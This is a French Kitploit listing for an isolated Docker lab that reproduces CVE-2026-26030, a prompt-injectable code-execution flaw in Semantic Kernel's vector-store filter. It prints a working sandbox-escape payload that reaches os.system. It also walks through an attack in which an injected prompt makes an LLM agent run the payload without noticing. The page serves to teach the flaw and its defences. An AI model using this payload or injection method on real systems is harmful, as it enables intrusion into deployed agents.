Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
sk-cve-2026-26030-lab — Laboratoire Docker éthique et isolé du réseau reproduisant CVE-2026-26030 — RCE par eval() du filtre de stockage vectoriel en mémoire de Semantic Kernel (corrigé dans la version 1.39.4) | Kitploit
Outils/GitHubGitHub/inertfluid/sk-cve-2026-26030-lab
Analyse des VulnérabilitésExploitationTests d'IntrusionApprentissage et ÉducationDéveloppement de Charges UtilesSécurité de l'IAExploitation de BinairesLabs et Pratique
GitHub
inertfluid/sk-cve-2026-26030-lab

sk-cve-2026-26030-lab

Laboratoire Docker éthique et isolé du réseau reproduisant CVE-2026-26030 — RCE par eval() du filtre de stockage vectoriel en mémoire de Semantic Kernel (corrigé dans la version 1.39.4)

Voir le dépôt
113il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-26030 — Filtre eval() RCE dans Semantic Kernel (lab)

Un laboratoire autonome reproduisant CVE-2026-26030 : exécution de code à distance (RCE) injectable par prompt via le filtre de recherche du magasin vectoriel en mémoire dans Microsoft Semantic Kernel (Python, < 1.39.4).

Lab éthique uniquement. Isolé dans des environnements virtuels dédiés ; les charges utiles sont inoffensives (touch d'un fichier marqueur dans le PoC sans tête ; open -a Calculator dans la démo UI) et s'exécutent sous votre propre utilisateur non privilégié.

Configuration

root@kitploit:~
./setup.sh        # crée deux venvs isolés (1.39.3 vulnérable, 1.39.4 corrigé)

Nécessite python3.13 (wheels pour les dépendances numpy/scipy de SK). Surcharger avec .

PYTHON=

PoC sans tête (headless)

root@kitploit:~
./run.sh          # exécute la même charge utile contre les deux venvs

La sortie vulnérable se termine par RCE CONFIRMED ; la sortie corrigée rejette la même charge utile avec '__subclasses__' ... is not allowed.

Démo UI live (agent LLM réel)

OpsBot, un agent interne de base de connaissances d'ingénierie (Llama hébergé par Groq via Semantic Kernel), expose un outil search_runbooks(team). Un attaquant injecte via prompt une valeur team malveillante ; l'agent appelle l'outil, le filtre vulnérable s'exécute, et une « note de rançon » s'ouvre dans TextEdit — pendant que l'agent rapporte les résultats du runbook, sans s'en apercevoir. La charge utile (open -e <note>) est non bloquante et inoffensive ; la note est pré-stockée dans /tmp/PWNED_by_CVE-2026-26030.txt.

L'outil exécute le véritable eval du filtre vulnérable dans un sous-processus propre (run_filter.py). C'est une nécessité macOS, pas une triche : le fork() du serveur est empoisonné par les threads asynchrones LLM/httpx + numpy/scipy, donc un lancement d'interface graphique depuis ce processus ne fait rien silencieusement. Le sous-processus est le chemin de code exact du CVE (_parse_and_validate_filter → exécute la lambda sur un enregistrement).

Note : la séparation par sous-processus propre est une bizarrerie de ce banc d'essai macOS, pas de la vulnérabilité. Sur un agent déployé sous Linux, l'os.system dans le processus parent s'exécute directement — pas besoin de sous-processus.

root@kitploit:~
echo 'GROQ_API_KEY=gsk_...' > .env   # clé gratuite depuis console.groq.com/keys
./demo-ui/run.sh                     # http://127.0.0.1:8000

Le message de l'attaquant est préchargé dans la zone de saisie ; appuyez sur Envoyer.

La vulnérabilité

Un agent expose un outil de recherche basé sur InMemoryCollection. Le LLM émet une chaîne d'expression de filtre à partir de la conversation (lambda x: x.team == 'platform'). Cette chaîne est influençable par l'attaquant — via l'invite utilisateur, ou via du texte injecté dans le contenu récupéré/outil — et atterrit dans _parse_and_validate_filter, qui compile() et eval() celle-ci (connectors/in_memory.py:383):

root@kitploit:~
code = compile(tree, filename="<filter>", mode="eval")
func = eval(code, {"__builtins__": {}}, {})  # nosec

__builtins__ est vidé, et une liste blanche AST est appliquée en premier — il s'agit donc d'un contournement de bac à sable, pas d'un oubli de garde. Deux lacunes permettent le contournement :

  1. L'accès ast.Attribute est illimité — pas de liste noire des dunder, donc la marche via ().__class__.__base__.__subclasses__ est autorisée.
  2. La vérification du nom ast.Call n'inspecte func que lorsqu'il s'agit d'un Name ou d'un Attribute. Lorsque func est un Subscript (qui est dans la liste blanche), func_name reste None et la vérification de fonction autorisée est entièrement ignorée.

Ainsi, envelopper n'importe quel appelable comme [obj.method][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/main/args) permet d'appeler n'importe quoi. Enchaîné :

root@kitploit:~
object.__subclasses__()[i]  ->  BuiltinImporter.load_module('os')  ->  os.system(cmd)

La charge utile

root@kitploit:~
lambda x: [[[().__class__.__base__.__subclasses__][0]()[107].load_module][0](https://github.com/inertfluid/sk-cve-2026-26030-lab/blob/main/%27os%27).system][0]('touch /tmp/pwned_by_filter')

Chaque appel a func comme Subscript ; chaque étape de parcours est un simple accès d'attribut. L'index (107) est la position de BuiltinImporter dans object.__subclasses__() — elle varie selon la version de Python, donc exploit.py et la démo le calculent à l'exécution.

Le correctif (1.39.4)

Le correctif ajoute une liste noire d'attributs dangereux par-dessus la liste blanche, de sorte que la marche via les dunder est rejetée avant eval :

root@kitploit:~
L'accès à l'attribut '__subclasses__' n'est pas autorisé dans les expressions de filtre.
Cet attribut pourrait être utilisé pour s'échapper du bac à sable du filtre.

Fichiers

fichierobjectif
setup.shcrée les deux venvs isolés (vulnérable + corrigé)
run.shPoC sans tête sur les deux venvs
exploit.pyde bout en bout : collection réelle + filtre de recherche -> RCE
find_sink.pylocalise le point de eval/compile dans le paquet installé
probe.pyvalidation minimale uniquement du contournement
demo-ui/app.pyFastAPI + SK + agent Groq ; l'outil search_runbooks vulnérable
demo-ui/run_filter.pyexécute le véritable eval du filtre dans un sous-processus propre (le fork() du serveur est empoisonné)
demo-ui/index.htmlinterface de chat ; ouvre une note de rançon dans TextEdit en cas de RCE

Angle pour un article

L'énoncé le plus propre possible de la thèse de sécurité des agents : il n'y a pas de frontière entre « données » et « instructions ». Un filtre que le modèle écrit à partir d'une recherche de runbook d'utilisateur devient os.system. Le bac à sable existait — une liste blanche et un __builtins__ vidé — et a néanmoins succombé à un contournement par parcours d'attributs et appel via subscript. Hiérarchie des atténuations qui vaut la peine d'être développée dans l'article : n'utilisez pas eval sur la sortie du modèle ; si vous devez le faire, restreignez sur une grammaire fermée, pas une liste blanche de nœuds avec accès aux attributs ouverts ; et isolez le worker (seccomp / pas de réseau / non privilégié) pour qu'une exécution de code ne soit pas la fin de la partie.

Télécharger l’outil